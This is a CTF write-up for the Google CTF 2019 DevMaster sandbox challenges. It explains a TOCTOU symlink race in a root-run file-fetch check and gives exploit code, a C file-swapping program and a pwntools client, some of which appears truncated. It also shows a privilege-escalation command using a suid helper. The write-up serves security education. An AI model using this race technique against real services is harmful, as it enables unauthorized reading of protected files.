DevMaster 8000 and DevMaster 8001 were sandbox challenges on Google CTF 2019 quals.

The gist is it provided a compilation service over an asynchronous binary protocol. User can upload files, run arbitrary commands, and fetch files.

I solved both parts of the task using TOCTOU symlink attack, which is likely an unintended solution. The unmodified exploit written for the first part worked for the second one.


The following commands are available:

  • Build. Takes a command to run, and list of tuples (filename, file_contents). The server creates a temporary build directory, puts all the files in there, and runs a command. For example, you can send a set of C sources, and run gcc main.c. You can also run just compiled binary as well: gcc main.c && ./a.out.
  • Fetch. Downloads a specified file from the build directory. Legitimate user would probably use this to download build artifacts.
  • Admin. Starts admin panel binary.
  • Stdin. Used to pass input to the build or admin panel process.

The server asynchronously sends events to the client as well:

  • Stdout. Build or admin panel stdout.
  • Stderr. Likewise for stderr.
  • Exited. When build process or admin panel exits.
  • Fetched. Response to successful Fetch command. Contains file contents.
  • ServerError. I never checked when it happens.

The admin panel binary asks for a password, and if it’s correct, opens a flag and returns it. The password is stored in hashed form, so it’s unlikely it can be recovered. Besides, remote server binary might have had a different password than the one in attached sources.

The build process runs in a sandbox under one of the sandbox-runner-0..sandbox-runner-7 users which lacks permissions to read the flag, so you can’t submit and run binary reading the flag.

The Fetch command, however, runs under root user without impersonating the sandbox user. But it has a realpath-based check that ensured that the file path resolves to a path in build directory, preventing absolute paths, path traversals and symlink attacks (spoiler: not quite).

Additionally, the server is asynchronous, and can execute Fetch when Build is running.


Let’s take a closer look at Fetch command implementation.

  std::unique_ptr<char> real_path(realpath((dir + file).c_str(), nullptr));
  if (string(real_path.get()).substr(0, dir.size()) != dir) {
    SendServerError(string("Filenames must point to within the working directory, ") + dir +
                    string(". Attempted to fetch file with absolute path ") + real_path.get());

  ifstream infile(real_path.get());
  if (!infile.is_open()) {
    SendServerError(string("Failed to open file  ") + real_path.get() +
                    string(": ") + strerror(errno));
  string body = ReadFile(infile);

Although this code attempts to resolve symlinks to prevent symlink attacks, imagine what happens if regular file becomes a symlink after the check, but before opening the file. It will happily open a symlink. A classic TOCTOU bug.


We can abuse the asynchronous behaviour of the server by sending a code that repeatedly exchanges regular file with symlink, and while it’s running, trying to execute the Fetch command.

The exploit uses two files in the build directory:

  • f1 - a regular file.
  • f2 - a symlink to the flag file.

By repeatedly swapping f1 and f2, there can be three outcomes:

  • f1 -> /home/user/flag at the time of check. You’ll get Filenames must point to within the working directory, /home/user/builds/build-workdir-HoQhea/. Attempted to fetch file with absolute path /home/user/flag error.
  • f1 (regular file) at the both time of check and time of use. The fetch will return its contents.
  • f1 (regular file) at the time of check, but f1 -> /home/user/flag at the time of use. The check will pass, but fetch will return the contents of the flag.

f2 file is not strictly necessary, as you can just repeatedly recreate f1 file. However, in order to improve exploit efficiency, I used atomic replace (renameat2(AT_FDCWD, "f1", AT_FDCWD, "f2", RENAME_EXCHANGE)) to eliminate window where file is unavailable (which would crash the server). Although renameat2 and RENAME_EXCHANGE are unavailable in glibc shipped with Ubuntu 16.04, the kernel has them, and can be easily reached with raw syscall interface.

The server still occasionally crashes when symlink becomes a file during realpath, though:

lstat("/home/user/builds/build-workdir-8Tm4rJ/f1", {st_mode=S_IFLNK|0777, st_size=15, ...}) = 0
readlink("/home/user/builds/build-workdir-8Tm4rJ/f1", 0x7ffec1af4df0, 4095) = -1 EINVAL (Invalid argument)

Intended solution?

The intended solution for the first part was that admin binary was to run a suid helper that changed user to admin. You can call this binary from the build to elevate privileges to admin: /home/user/drop_privs admin admin cat /home/user/flag

The second part fixes the permission bits so you can no longer call this binary.

What I didn’t mention and didn’t use in my exploit is that the container rebuilded the admin panel binary every 30 seconds using the same server. The compilation command was slowed down, likely to enlarge some race condition window: sleep 1; g++ --std=c++11 -ftemplate-depth=1000000 -o admin; sleep 1.

I can only speculate what the intended race condition was.

The sandbox users are protected with System V semaphores (one mutex per user). You won’t get the same UID when build is in progress, which prevents you from rewriting build artifacts. However, the semaphore is released as soon as build completes, so you can try to get the same UID and rewrite the build artifacts before Fetch is run.

The window of opportunity is rather small, though, as build executor uses a busy loop with sleep instead of blocking. It’ll take up to 10ms before it notices that the user has become free, which gives the admin builder process plenty of time to fetch the binary, and makes the race hard to exploit. I never tested this in practice, though.

// Linux doesn't offer a mechanism for waiting on multiple semaphores at once.
// So, sadly, we busywait.
// Returns the index of which semaphore was in fact decremented.
size_t MultiDecrement(std::vector<IpcSemaphore>* sems, int count=1) {
  while(true) {
    for (size_t i = 0; i < sems->size(); ++i) {
      if ((*sems)[i].TryDecrement(count)) return i;
  usleep(10000);  // 10 ms

Exploit code

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>

#ifndef __NR_renameat2
#define __NR_renameat2 316

#define RENAME_EXCHANGE (1<<1)

#ifndef AT_FDCWD
#define AT_FDCWD -100 

int main() {
    const char *FILENAME1 = "f1";
    const char *FILENAME2 = "f2";

        FILE *f = fopen(FILENAME1, "w");
        fputs("1", f);
    symlink("/home/user/flag", FILENAME2);


    alarm(5); // sanity time limit 
    for (;;) {

    return 0;
#!/usr/bin/env python2

from __future__ import print_function

from pwn import *

import sys
import threading
import time
import io

def send_command(p, opcode, body):

def pack_string(s):
    return p32(len(s)) + s

def send_build(p, ref_id, args, files):
    tmp = b""
    tmp += p32(ref_id)
    tmp += p32(len(args))
    for arg in args:
        tmp += pack_string(arg)
    tmp += p32(len(files))
    for f in files:
        tmp += pack_string(f[0])
        tmp += pack_string(f[1])

    send_command(p, 3, tmp)

def send_fetch(p, ref_id, filename):
    send_command(p, 7, p32(ref_id) + p32(len(filename)) + filename)

def read_string(p):
    n = u32(

def reader():
    while True:
        opcode = u32(
        body_len = u32(
        body =

        if opcode == 1:
            ref_id = u32(body[0:4])
            n = u32(body[4:8])
            s = body[8:8+n]
            print("stdout=%r" % s, file=sys.stderr)


        elif opcode == 8:
            b = io.BytesIO(body)

            ref_id = u32( 
            filename = read_string(b)
            contents = read_string(b)
            print("fetched file=%r contents=%r" % (filename, contents), file=sys.stderr)
            print("opcode=%d body=%r" % (opcode, body), file=sys.stderr)

command = "gcc main.c && ./a.out"
got_stdout = threading.Event()

with remote("", 1337) as p:
#with remote("", 1337) as p:
#with remote("", 1337) as p:
    t = threading.Thread(target=reader)


    send_build(p, 0, ["sh", "-c", command], [("main.c", open("main2.c").read())])

    for _ in xrange(1000):
        send_fetch(p, 0, "f1")